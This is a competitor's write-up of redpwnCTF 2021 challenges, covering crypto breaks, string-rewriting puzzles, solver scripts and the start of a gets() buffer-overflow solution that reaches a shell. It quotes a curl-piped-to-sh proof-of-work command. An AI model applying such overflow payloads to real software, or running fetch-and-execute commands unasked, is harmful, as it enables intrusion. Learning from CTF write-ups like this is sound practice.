日本語版: redpwnCTF 2021 writeup - Qiita
About
I participated in redpwnCTF 2021 (July 10, 2021 04:00 ~ July 13, 2021 04:00 (JST: UTC+9)) (CTFtime.org) as a one-person team.
I earned 2170 points and ranked 66th among 1418 teams which earned positive points.
The list of challenges I solved is:
Challenge | Category | Value | Time (JST: UTC+9) |
---|---|---|---|
printf-please | pwn | 107 | 2021/07/10 04:12:49 |
the-substitution-game | misc | 145 | 2021/07/10 05:24:00 |
compliant-lattice-feline | misc | 102 | 2021/07/10 05:35:13 |
pastebin-1 | web | 103 | 2021/07/10 05:44:25 |
orm-bad | web | 102 | 2021/07/10 05:49:23 |
secure | web | 104 | 2021/07/10 05:59:54 |
inspect-me | web | 101 | 2021/07/10 06:01:51 |
beginner-generic-pwn-number-0 | pwn | 105 | 2021/07/10 06:10:32 |
ret2generic-flag-reader | pwn | 105 | 2021/07/10 06:18:53 |
ret2the-unknown | pwn | 108 | 2021/07/10 07:43:35 |
scissor | crypto | 102 | 2021/07/10 07:52:00 |
baby | crypto | 102 | 2021/07/10 07:58:24 |
round-the-bases | crypto | 107 | 2021/07/10 08:07:05 |
wstrings | rev | 102 | 2021/07/10 09:10:02 |
sanity-check | misc | 1 | 2021/07/10 09:20:13 |
yahtzee | crypto | 128 | 2021/07/10 13:03:03 |
discord | misc | 1 | 2021/07/10 13:20:41 |
bread-making | rev | 108 | 2021/07/10 22:46:01 |
annaBEL-lee | misc | 121 | 2021/07/11 10:55:17 |
notes | web | 196 | 2021/07/11 23:02:58 |
blecc | crypto | 119 | 2021/07/12 19:07:50 |
survey | misc | 1 | 2021/07/12 20:17:12 |
How to create the list of challenges solved
The score server used in this competition shows the time on which the challenges are solved
only roughly like "3 hours ago" and "1 day ago".
(FYI it says "Powered by rCTF")
After some investigation, I found that the exact solve times via these steps:
- Open Profile of the team to know the solve times
- Open the Developer Tool and see Network
- Find the ID in the URL or
me
, and see Response - If it is JSON, it contains the information about challenges solved by the team
- The solve time can be determined by passing the values of
createdAt
to the constructor ofDate
object in JavaScript
I created a program to create a list of challenges solved from the JSON data.
The program to create a list of challenges solved
<!DOCTYPE html><html><head><title>decoder</title><script>
function getDate(date) {
const y = ("0000" + date.getFullYear()).substr(-4);
const m = ("00" + (date.getMonth() + 1)).substr(-2);
const d = ("00" + date.getDate()).substr(-2);
return y + "/" + m + "/" + d;
}
function getTime(date) {
const h = ("00" + date.getHours()).substr(-2);
const m = ("00" + date.getMinutes()).substr(-2);
const s = ("00" + date.getSeconds()).substr(-2);
return h + ":" + m + ":" + s;
}
function convert() {
const input_data = JSON.parse(document.getElementById("json_input").value);
const solved_list = input_data.data.solves;
let md_out = "|Challenge|Category|Value|Time|\n|---|---|--:|---|\n";
let gp_out = "";
let score = 0;
for (let i = solved_list.length - 1; i >= 0; i--) {
const time = new Date(solved_list[i].createdAt);
const time_prev = new Date(solved_list[i].createdAt - 1000);
const time_md = getDate(time) + " " + getTime(time);
const time_gp = getDate(time) + "_" + getTime(time);
const time_gp_prev = getDate(time_prev) + "_" + getTime(time_prev);
const name = solved_list[i].name, category = solved_list[i].category, value = solved_list[i].points;
md_out += "|" + name + "|" + category + "|" + value + "|" + time_md + "|\n";
gp_out += time_gp_prev + "\t" + score + "\n" + time_gp + "\t" + (score + value) + "\n";
score += value;
}
document.getElementById("markdown_output").value = md_out;
document.getElementById("gnuplot_output").value = gp_out;
}
</script></head><body>
<p>Input JSON here</p>
<p><textarea id="json_input" rows="10" cols="100"></textarea></p>
<p><input type="button" value="convert" onclick="convert();"></p>
<p>Output (Markdown)</p>
<p><textarea id="markdown_output" rows="10" cols="100"></textarea></p>
<p>Output (for gnuplot)</p>
<p><textarea id="gnuplot_output" rows="10" cols="100"></textarea></p>
</body></html>
Challenges I solved
crypto
scissor
This challenge description is given:
I was given this string and told something about scissors.
egddagzp_ftue_rxms_iuft_rxms_radymf
I applied ROT13 on CyberChef and changed Amount one-by-one.
As a result, it gave me a string surround_this_flag_with_flag_format
with Amount = 14.
I obtained the flag by adding flag{
and }
to this string.
flag{surround_this_flag_with_flag_format}
baby
A challenge description
I want to do an RSA!
and this file was provided:
n: 228430203128652625114739053365339856393
e: 65537
c: 126721104148692049427127809839057445790
Factorizing n
via Wolfram Alpha resulted in 12546190522253739887 * 18207136478875858439
.
I decrypted RSA encryption using these values and information from RSA暗号 - Wikipedia.
n = 228430203128652625114739053365339856393
e = 65537
c = 126721104148692049427127809839057445790
# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
if b == 0:
return (1, 0)
s, t = kago(b, a % b)
return (t, s - (a // b) * t)
phi = (12546190522253739887 - 1) * (18207136478875858439 - 1)
d, _ = kago(e, phi)
res = pow(c, d, n)
print("d = " + str(d))
print("res = " + hex(res))
d = 57678303879838009672243096264323227345
res = 0x666c61677b363861623832646633347d
I obtained the flag by applying From Hex on CyberChef to the value of res
(without 0x
).
flag{68ab82df34}
round-the-bases
A string data (about 8KB) was provided.
I obtained the flag by performing the following operations on CyberChef.
- From Base85
- From Base64
- From Hex
- From Hex
- Find / Replace (Find:
[T2]
(REGEX), Replace: (an empty string)) - Substitute (Plaintext:
HI
, Ciphertext:01
) - From Binary
flag{w0w_th4t_w4s_4ll_wr4pp3d_up}
blecc
This file was provided:
p = 17459102747413984477
a = 2
b = 3
G = (15579091807671783999, 4313814846862507155)
Q = (8859996588597792495, 2628834476186361781)
d = ???
Can you help me find `d`?
Decode it as a string and wrap in flag format.
Firstly I googled "(p, a, b, G, Q)"
(with quotation marks). It gave me:
Elliptic Curve Cryptosystems
This suggested me that the variables should be related to Elliptic Curve.
Seeing this, I googled "Elliptic Curves writeup". It gave me:
ctf-writeups/README.md at master · diogoaj/ctf-writeups
This page explains how to solve a problem to calculate n
from given P
, n*P
, and information about the Elliptic Curve.
This suggested me that I should calculate d
such that Q = d*G
for this challenge like this problem.
This page was useful to know how to specify Elliptic Curve in Sage:
Elliptic curve constructor — Sage 9.3 Reference Manual: Elliptic curves
Also, we can run Sage code online here:
Sage Cell Server
Moreover, I found this by googling "elliptic curve discrete log writeup":
Th3g3ntl3man-CTF-Writeups/ECC2.md at master · hgarrereyn/Th3g3ntl3man-CTF-Writeups
According to this page, d
should be obtained by:
- Calculate the order of the Elliptic Curve and factorize that.
- Calculate
d'
such that(t*Q) = d'*(t*G)
for eacht
, which is the order divided by each prime factors. - Calculate the number whose remainder is
d'
when divided by each prime factors via Chinese Remainder Theorem.
Firstly, I obtained the order of the Elliptic Curve and factorized that via Sage like this:
F = Zmod(17459102747413984477)
E = EllipticCurve(F, [2, 3])
factor(E.order())
The result is:
2 * 5 * 11 * 22303 * 36209 * 196539307
Then, I calculated each d'
via Sage like this:
F = Zmod(17459102747413984477)
E = EllipticCurve(F, [2, 3])
factor(E.order())
G = E.point((15579091807671783999, 4313814846862507155))
Q = E.point((8859996588597792495, 2628834476186361781))
primes = [2, 5, 11, 22303, 36209, 196539307]
for fac in primes:
t = int(G.order()) // int(fac)
dlog = discrete_log(t*Q,t*G,operation="+")
print("(" + str(dlog) + ", " + str(fac) + "),")
/
is used for calculating t
in the page, but it gave me error, so I used //
.
The result is:
(1, 2),
(1, 5),
(3, 11),
(2108, 22303),
(7789, 36209),
(125193423, 196539307),
After that, I calculated d
using them.
A program to calculate `d`
import sys
# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
if b == 0:
return (1, 0)
s, t = kago(b, a % b)
return (t, s - (a // b) * t)
# return x where x === b1 (mod m1), x === b2 (mod m2)
def chuzyo(b1, m1, b2, m2):
p, q = kago(m1, m2)
return (b2 * m1 * p + b1 * m2 * q) % (m1 * m2)
# l = [(b1, m1), (b2, m2), ...]
def chuzyo2(l):
b = 0
m = 1
for bb, mm in l:
b = chuzyo(b, m, bb, mm)
m *= mm
return b
data = [(1, 2), (1, 5), (3, 11), (2108, 22303), (7789, 36209), (125193423, 196539307)]
num = chuzyo2(data)
print(hex(num))
result = ""
while num > 0:
result = chr(num & 0xff) + result
num >>= 8
print(result)
The result is:
0x6d316e315f336363
m1n1_3cc
Finally, I obtained the flag by adding flag{
and }
to the resulted string.
flag{m1n1_3cc}
yahtzee
Information to connect to a TCP server and the server's program server.py
were provided.
The program repeatedly outputs a cyphertext after reading a line that is not quit
(case-insensitive).
The cyphertexts are generated in this way:
- Choose a random line from
quotes.txt
and insert the flag at random place. - Choose
nonce
from a random number (sum of two random integers from 1 to 6) and encrypt the text usingAES.MODE_CTR
with fixedkey
.
Referring this page:
共通鍵暗号の暗号モード CTRについて - Qiita
I found that MODE_CTR
is an encrypion method that outputs exclusive-or of the Nonce plus Counter encrypted and the plaintext.
It can be seen as a stream of data determined from nonce
exclusive-ored to the plaintext.
There are only 11 candidates of nonce
(2 to 12) and only 25 candidates of the insertion target,
so there should be cyphertexts created from the same nonce
and target after fetching many cyphertexts.
Connecting to the server via Tera Term, it showed:
proof of work: curl -sSfL https://pwn.red/pow | sh -s s.AAATiA==.c5JzfKLC099PHb3WLBaz1g==
solution:
Downloading https://pwn.red/pow
and checking that, it looked like a script to construct a URL and download from that.
Reading the script, I decided to download
https://github.com/redpwn/pow/releases/download/v0.0.4/redpwnpow-windows-amd64.exe
.
It gave me a HTML about redirection when I used curl
for downloading,
but it gave me an executable binary when I downloaded it via Firefox.
After that, I executed this command, constructed from the file and the latter part of what the server sent:
redpwnpow-windows-amd64.exe s.AAATiA==.c5JzfKLC099PHb3WLBaz1g==
It printed:
s.czFf1enp5OTtoFwopJ7/0uuCxdxqBoCz/vpGR6PXCbP7Q798v+uFr1EsC+LpqoLCtfCAnrhsryoW9G9F4XhH7uPDY3EIR6enn7xIRQY64wkeOaKJL7Az3lbyvt531mUtU8LDl5scbUaxk7HP20iEP6xNuCm9yYX7n5A7dmPA4HjOqh9m+OnPlpf9Op9QVrbilAxKUpARIlDP8dT5+ZtDcg==
It seemed the given program starts on the server after I send this output to the server.
Considering this, I created a program to correct the cyphertexts.
The program to correct the cyphertexts.
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"mc.ax", PeerPort=>31076, Proto=>"tcp");
die "socket error $!" unless $sock;
my $q = <$sock>;
unless ($q =~ /sh -s (.*)$/) { die "?\n"; }
open(PROC, "redpwnpow-windows-amd64.exe $1 |") or die "proc error\n";
my $res = <PROC>;
close(PROC);
print $sock $res;
print $sock "y\n";
for (my $i = 0; $i < 1000; $i++) {
for (;;) {
my $res = <$sock>;
unless ($res) { last; }
if ($res =~ /Ciphertext: (.*)$/) {
print "$1\n";
print $sock "y\n";
}
}
}
close($sock);
I configured to correct 1000 ciphertexts, but it corrected only 638.
Sorting the corrected ciphertexts and removing duplicates, it contained a part:
0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b84bc0c7378ea98d9d4f1842ec37bb760ffe09930c01bbdb70e86851724ecd46b59ca96ad7f56318d1b62349dd4
0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b86b50e7d67bfd0f2ece5d336fd68a435e58cbd5b9f20bdf00897851427cac704629c9bb0690361800962349dd4
0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90a0123a68e098cfdeb28d2fc73ca523b7cba661d11f87b1158c99042edccf04629c9bb0690361800962349dd4
These cyphertexts share the first part, so it should be created from the same nonce
and insertion target.
Looking closely, a part of two cyphertexts among the three is:
c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b86
While the part of the other one is:
d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90
Therefore the former should be the original insertion target and the latter should be the encrypted flag.
The cyphertexts are plaintexts exclusive-ored with the same key data,
so the key will be canceled and exclusive-or of the plaintexts will appear by exclusive-oring the cyphertexts.
Moreover, the first part of the flag should be flag{
,
so exclusive-oring this to the right position will result in the other plaintext.
Trying this, exclusive-oring flag{
to the beginning resulted in to be
and it looked reasonable.
Exclusive-oring the obtained key data b0 38 7d 27 0d
to the same position of other cyphertexts,
I found the result ah{0h
is obtained from the cyphertext:
0ca3e4a5408d8883c70eb2c059e9bafc5eadaa8d0dc80fffac6ea0892ec20e7588d15f061765d8529297646981d73bc692f430913fecfc53a5632cfa029df91b753ce3ddd99bbc87798275b823b7c8a66bd10691e3018c9e4a3093ce4b268a8cb67d462c9148
This looks like a part of the flag and off by two characters from the flag initially discovered.
Using this, the entire flag should be obtained in this way:
- Obtain a part of the key by exclusive-oring the newly obtained two characters of the flag to the corresponding position of the ciphertext for the part beginning from
flag{
. - Obtain a part of the flag by exclusive-oring the newly obtained part of the key to the corresponding position of the ciphertext for the part beginning from
ag{0h
. - Repeat 1 and 2.
Actually The flag is obtained via this program:
A program to obtain the flag
#!/usr/bin/perl
use strict;
use warnings;
my $data1 = "d15f061765d8529297646981d73bc692f430913fecfc53a5632cfa029df91b753ce3ddd99bbc87798275b823b7c8a66bd10691e3018c9e4a3093ce4b268a8cb67d462c9148";
my $data2 = "d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90a0123a68e098cfdeb28d2fc73ca523b7cba661d11f87b1158c99042edccf04629c9bb0690361800962349dd4";
my $d1len = length($data1);
my $d2len = length($data2);
my $decoded = "fl";
for (my $i = 0; $i * 2 + 4 <= $d1len && $i * 2 + 4 <= $d2len; $i += 2) {
my $c1 = ord(substr($decoded, length($decoded) - 2, 1));
my $c2 = ord(substr($decoded, length($decoded) - 1, 1));
my $k1 = hex(substr($data2, $i * 2, 2)) ^ $c1;
my $k2 = hex(substr($data2, $i * 2 + 2, 2)) ^ $c2;
my $p1 = hex(substr($data1, $i * 2, 2)) ^ $k1;
my $p2 = hex(substr($data1, $i * 2 + 2, 2)) ^ $k2;
$decoded .= chr($p1) . chr($p2);
}
print "$decoded\n";
flag{0h_W41t_ther3s_nO_3ntr0py}
misc
sanity-check
This challenge description was provided:
I get to write the sanity check challenge! Alright!
flag{1_l0v3_54n17y_ch3ck_ch4ll5}
The flag was in the challenge description.
flag{1_l0v3_54n17y_ch3ck_ch4ll5}
discord
This challenge description was provided:
Join the discord! I hear
#rules
is an incredibly engaging read.
The "discord" in the challenge description was a link and it redirected me to an invitation page of Discord when I accessed that.
I joined the server and checked the #rules
channel as suggested, seeing the flag written in the top of the page.
Clicking the area, the flag is shown in copyable form.
flag{chall3n63_au7h0r5h1p_1nfl4710n}
survey
A link to a Google Forms page was provided.
The page was a questionnaire consists of 3 pages.
Answering the questionnaire and submitting the answer, a link was shown.
Accessing the link, the flag was shown.
flag{thank5_f0r_play1ng_r3dpwnctf_2021!_zc9e848yg2gdhwxz}
compliant-lattice-feline
This challenge description was provided:
get a flag!
nc mc.ax 31443
I launched Tera Term and entered this to "New Connection" dialog:
- TCP/IP
- Host:
mc.ax
- Service: Other
- TCP port#:
31443
Then pressed the "OK" button to connect. The flag appeared as a result.
flag{n3tc4t_1s_a_pip3_t0_the_w0rld}
annaBEL-lee
Information to connect to a TCP server was provided.
I connected via Tera Term, but nothing seemed happening.
Connecting via TCP/IPテストツール,
some data consists of bytes with values 0x00
and 0x07
was slowly sent and the connection was closed.
Connecting several times, I found that the grouping of the data changed but the contents of data was the same except for the beginning.
I looked closely at the data with the groups concatenated and expressing 0x00
as 0
and 0x07
as 7
.
I found that there are one or three consecutive 0
s and 7
s except for the beginning.
Also, from following hints added to the challenge description:
- It may be helpful to turning the sound on
- There will be more chance to come up with a good idea after slowing it down
I came up with a possibility that the Morse code is used.
CyberChef has a function "From Morse Code".
I obtained the flag by doing pre-processing, From Morse Code, and post-processing, considering 0
as silent time and 7
as sounding time.
flag{d1ng-d0n9-g0es-th3-anna-b3l}
the-substitution-game
Information to connect to a TCP server and the server's program chall.py
were provided.
Connecting to the server via Tera Term, a game that requires entering replacement rules
that convert the input strings to the expected output strings.
The first rule that can be applied to the current string is applied and it stops when no rule can be applied.
It looks like Markov Algorithm Online without terminating rules.
I obtained the flag by solving 6 levels.
Simulator
The server shows the output strings after submitting wrong answer, but it is hard to tell why it failed.
To overcome this, I created a simulator that output the results of replacements step-by-step.
The simulator
<!DOCTYPE html>
<html>
<head><title>sim</title>
<script>
function run() {
const rules1 = document.getElementById("rules").value.replaceAll("\r\n", "\n").replaceAll("\r", "\n").split("\n");
const rules = [];
for (let i = 0; i < rules1.length; i++) {
const arr = rules1[i].split(" => ");
if (arr.length == 2) rules.push(arr);
}
let text = document.getElementById("text").value;
let res = text + "\n";
for (let i = 0; i < 10000; i++) {
let found = false;
for (let j = 0; j < rules.length; j++) {
if (text.indexOf(rules[j][0]) >= 0) {
text = text.replace(rules[j][0], rules[j][1]);
found = true;
break;
}
}
if (found) {
res += text + "\n";
} else {
break;
}
}
document.getElementById("result").value = res;
}
</script>
</head>
<body>
<p>text:
<input id="text" value="" size="100"><br>
rules:<br>
<textarea id="rules" rows="10" cols="100"></textarea><br>
<input type="button" onclick="run();" value="run"><br>
result:<br>
<textarea id="result" rows="10" cols="100"></textarea>
</p>
</body></html>
Level 1
Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: 000000000000000initial0000000000
Target string: 000000000000000target0000000000
Initial string: 0000initial000000
Target string: 0000target000000
Initial string: 000000000000initial00000000000000000000
Target string: 000000000000target00000000000000000000
Initial string: 000000000initial
Target string: 000000000target
Initial string: 00000000initial0000000
Target string: 00000000target0000000
Initial string: 00000000000000000initial000000
Target string: 00000000000000000target000000
Initial string: 0000000000000000000initial00000
Target string: 0000000000000000000target00000
Initial string: 0000000000000initial000
Target string: 0000000000000target000
Initial string: 0000initial0000000000000000
Target string: 0000target0000000000000000
Initial string: 000000initial0
Target string: 000000target0
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 5 max:
Replace initial
in the input to target
.
initial => target
Level 2
Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: ginkoidginkoidhellohellohelloginkoidhellohellohellohelloginkoidginkoidginkoidhelloginkoidginkoidginkoidginkoidginkoid
Target string: ginkyginkygoodbyegoodbyegoodbyeginkygoodbyegoodbyegoodbyegoodbyeginkyginkyginkygoodbyeginkyginkyginkyginkyginky
Initial string: ginkoidginkoidhelloginkoidginkoidginkoidginkoidhelloginkoidhelloginkoidhello
Target string: ginkyginkygoodbyeginkyginkyginkyginkygoodbyeginkygoodbyeginkygoodbye
Initial string: helloginkoidhellohellohelloginkoidginkoidhellohelloginkoidhelloginkoidhelloginkoidginkoidginkoidginkoidhello
Target string: goodbyeginkygoodbyegoodbyegoodbyeginkyginkygoodbyegoodbyeginkygoodbyeginkygoodbyeginkyginkyginkyginkygoodbye
Initial string: helloginkoidhelloginkoidginkoidginkoidhelloginkoidhellohellohellohellohelloginkoidginkoidhello
Target string: goodbyeginkygoodbyeginkyginkyginkygoodbyeginkygoodbyegoodbyegoodbyegoodbyegoodbyeginkyginkygoodbye
Initial string: helloginkoidginkoidhellohelloginkoidginkoidginkoidginkoidginkoidhelloginkoidhellohellohelloginkoidhelloginkoid
Target string: goodbyeginkyginkygoodbyegoodbyeginkyginkyginkyginkyginkygoodbyeginkygoodbyegoodbyegoodbyeginkygoodbyeginky
Initial string: hellohelloginkoidginkoidginkoidginkoidhellohelloginkoidhelloginkoidginkoidhelloginkoidhellohello
Target string: goodbyegoodbyeginkyginkyginkyginkygoodbyegoodbyeginkygoodbyeginkyginkygoodbyeginkygoodbyegoodbye
Initial string: hellohelloginkoidginkoidginkoidhellohelloginkoidhelloginkoidginkoidginkoidginkoidginkoidginkoidginkoid
Target string: goodbyegoodbyeginkyginkyginkygoodbyegoodbyeginkygoodbyeginkyginkyginkyginkyginkyginkyginky
Initial string: helloginkoidginkoidhellohellohellohelloginkoidginkoidginkoidhellohelloginkoidginkoidginkoidginkoidginkoid
Target string: goodbyeginkyginkygoodbyegoodbyegoodbyegoodbyeginkyginkyginkygoodbyegoodbyeginkyginkyginkyginkyginky
Initial string: hellohellohellohellohelloginkoidhelloginkoidhelloginkoidhelloginkoidhelloginkoidginkoidginkoidhello
Target string: goodbyegoodbyegoodbyegoodbyegoodbyeginkygoodbyeginkygoodbyeginkygoodbyeginkygoodbyeginkyginkyginkygoodbye
Initial string: helloginkoidginkoidhelloginkoidginkoidhelloginkoidhelloginkoidginkoidhelloginkoidhellohellohelloginkoidginkoidginkoid
Target string: goodbyeginkyginkygoodbyeginkyginkygoodbyeginkygoodbyeginkyginkygoodbyeginkygoodbyegoodbyegoodbyeginkyginkyginky
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:
Replace hello
in the input to goodbye
and ginkoid
to ginky
.
hello => goodbye
ginkoid => ginky
Level 3
Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:
Some a
are inputted and it should be converted to one a
.
It can be done by repeatedly substitute two a
s into one.
aa => a
Level 4
Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: ggggggggggggggggggg
Target string: ginkoid
Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: ggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:
Some g
s are inputted and it should be converted to one ginkoid
.
When trying to replace from g
directly, it fails because ginkoid
also contains g
.
To overcome this, do the work via a character that is not in ginkoid
(I used x
here).
Firstly, replace not g
but gg
to x
.
Then, fold multiple x
s into one and replace it to ginkoid
.
Finally, remove the last g
if it exists.
gg => x
xx => x
x => ginkoid
idg => id
When entering the rules into the server, entering y
(there are more rules) or n
(end of rules) after each rules is required.
Entering many rules one-by-one takes much cost, so you should add y
between each rules (for example, via the replacement function in text editors or CyberChef) and paste all of them at once.
Level 5
Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: ^0101110110111010101010101100100000011110101000111110001010111100000010011010101010101110110111010$
Target string: palindrome
Initial string: ^000100000100110001110011000111011110101101011110111000110011100011001000001000$
Target string: palindrome
Initial string: ^1100001011110101110111000111110101111010111110001110111010111101000011$
Target string: palindrome
Initial string: ^1111010101010001011100101010001011110101111100101011001000010111011100011110001010011101$
Target string: not_palindrome
Initial string: ^1100001111010011011010101101011111110100100001011010010110100001010110101$
Target string: not_palindrome
Initial string: ^1111101000110001001001011011011110010111110100111101101101001001000110001011111$
Target string: palindrome
Initial string: ^1011001101111000110110100011101101000110110100000001010000010001111000001010001$
Target string: not_palindrome
Initial string: ^11010001001100010111011010111001111111000011000000000011000011111110011101011011101000110010001011$
Target string: palindrome
Initial string: ^1000010101011110110001001111101100010111000011010100111001011000010$
Target string: not_palindrome
Initial string: ^0011000011010111100011110000110100011001111011101111001100010110000111100011110101100001100$
Target string: palindrome
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 100 max:
It looks required to judge if the given 0/1 string is a palindrome.
I googled "チューリングマシン 回文" and found:
Turing 機械のプログラミング
So I decided to take the program in this page.
Fortunately, the input strings in the level has special marks at the beginning and end like the tape used in the page.
I expressed the Turing machine as replacement rules like this:
- Express the place of the head of the Turing machine as
[<state>]
- Firstly replace the head mark to
[<initial state>]<another head mark>
- Express rules that don't move the head as
[<state>]<mark> => [<next status>]<mark to write>
- Express rules that move the head to right as
[<state>]<mark> => <mark to write>[<next status>]
- Express rules that move the head to left as
<each characters>[<state>]<mark> => [<next status>]<each characters><mark to write>
Finally, when it reaches to accept or reject, replace the head to the required string and erase the extra characters before and after the string.
My answer (46-line replacement rules)
^ => [start]#
[start]# => #[l2]
[l2]0 => #[l20]
[l2]1 => #[l21]
[l2]$ => [a]$
[l20]0 => 0[l20]
[l20]1 => 1[l20]
0[l20]$ => [l30]0$
1[l20]$ => [l30]1$
#[l20]$ => [l30]#$
0[l30]0 => [l4]0$
1[l30]0 => [l4]1$
#[l30]0 => [l4]#$
[l30]1 => [r]1
[l30]# => [a]#
0[l4]0 => [l4]00
1[l4]0 => [l4]10
#[l4]0 => [l4]#0
0[l4]1 => [l4]01
1[l4]1 => [l4]11
#[l4]1 => [l4]#1
[l4]# => #[l2]
[l21]0 => 0[l21]
[l21]1 => 1[l21]
0[l21]$ => [l31]0$
1[l21]$ => [l31]1$
#[l21]$ => [l31]#$
[l31]0 => [r]0
0[l31]1 => [l4]0$
1[l31]1 => [l4]1$
#[l31]1 => [l4]#$
[l31]# => [a]#
[a] => palindrome
[r] => not_palindrome
e0 => e
e1 => e
e# => e
e$ => e
0n => n
1n => n
#n => n
$n => n
0p => p
1p => p
#p => p
$p => p
Level 6
Level information
--------------------------------------------------------------------------------
Here is this level's intended behavior:
Initial string: ^10111111+110001=100100101$
Target string: incorrect
Initial string: ^111000+10011=10100101$
Target string: incorrect
Initial string: ^1101000+11111110=101100110$
Target string: correct
Initial string: ^0+1101001=1101001$
Target string: correct
Initial string: ^100010000011+11000110=101001001$
Target string: incorrect
Initial string: ^10101011+1010111=110001$
Target string: incorrect
Initial string: ^11111011+11011101=10001100110$
Target string: incorrect
Initial string: ^10001010+1101111=101$
Target string: incorrect
Initial string: ^1011001001+11111101=111000110$
Target string: incorrect
Initial string: ^10111000+100100=11011100$
Target string: correct
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 300 max:
A summation expression of binary numbers is given and it seems expected to judge if they are correct or not.
My implementation consists of these three parts:
- Pre-process (zero suppress the input numbers and add a delimiter)
- Addition
- Comparison of the result
Using the technique for Turing machine that sends data to right with holding the status in the head,
I implemented this with keeping in mind that I'm working with not a Turing machine but string replacements.
For example, there are no need to move the head back to left one-by-one.
My answer (50-line replacement rules)
= => :-
^00 => ^0
+00 => +0
-00 => -0
^01 => ^1
+01 => +1
-01 => -1
0o:C => :C0
1o:C => :C1
0z:C => :1
1z:C => :C0
0o: => :1
1o: => :C0
0z: => :0
1z: => :1
o1 => 1o
o0 => 0o
z1 => 1z
z0 => 0z
^+:C => ^1
^+: => ^
+z:C => +:1
+z: => +:0
+o:C => +:C0
+o: => +:1
1+ => +o
0+ => +z
^+ => ^+z
0i => i
1i => i
-i => i
^i => i
t0 => t
t1 => t
t$ => t
q0 => 0q
q1 => 1q
Q0 => 0Q
Q1 => 1Q
0q$ => $
1Q$ => $
0Q$ => incorrect
1q$ => incorrect
0-$ => incorrect
1-$ => incorrect
^-0 => incorrect
^-1 => incorrect
^-$ => correct
0- => -q
1- => -Q
flag
flag{wtf_tur1n9_c0mpl3t3}
pwn
beginner-generic-pwn-number-0
A C source code, an ELF file, and information to connect to a TCP server were provided.
Reading the source code, I found it reading data via gets
function and
execute system("/bin/sh");
if the value of a variable is -1
.
Disassembling the ELf file via objdump in TDM-GCC and checking, some part is:
401299: 48 8d 45 d0 lea -0x30(%rbp),%rax
40129d: 48 89 c7 mov %rax,%rdi
4012a0: e8 4b fe ff ff callq 4010f0 <gets@plt>
4012a5: 48 83 7d f8 ff cmpq $0xffffffffffffffff,-0x8(%rbp)
4012aa: 75 0c jne 4012b8 <main+0xc2>
4012ac: 48 8d 3d 35 0f 00 00 lea 0xf35(%rip),%rdi # 4021e8 <_IO_stdin_used+0x1e8>
4012b3: e8 08 fe ff ff callq 4010c0 <system@plt>
4012b8: b8 00 00 00 00 mov $0x0,%eax
It can be said from this that it is 0x28 bytes from where the gets
function stores the input to the variable checked.
Seeing this, I created this file via a binary editor:
00000000 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 |ffffffffffffffff|
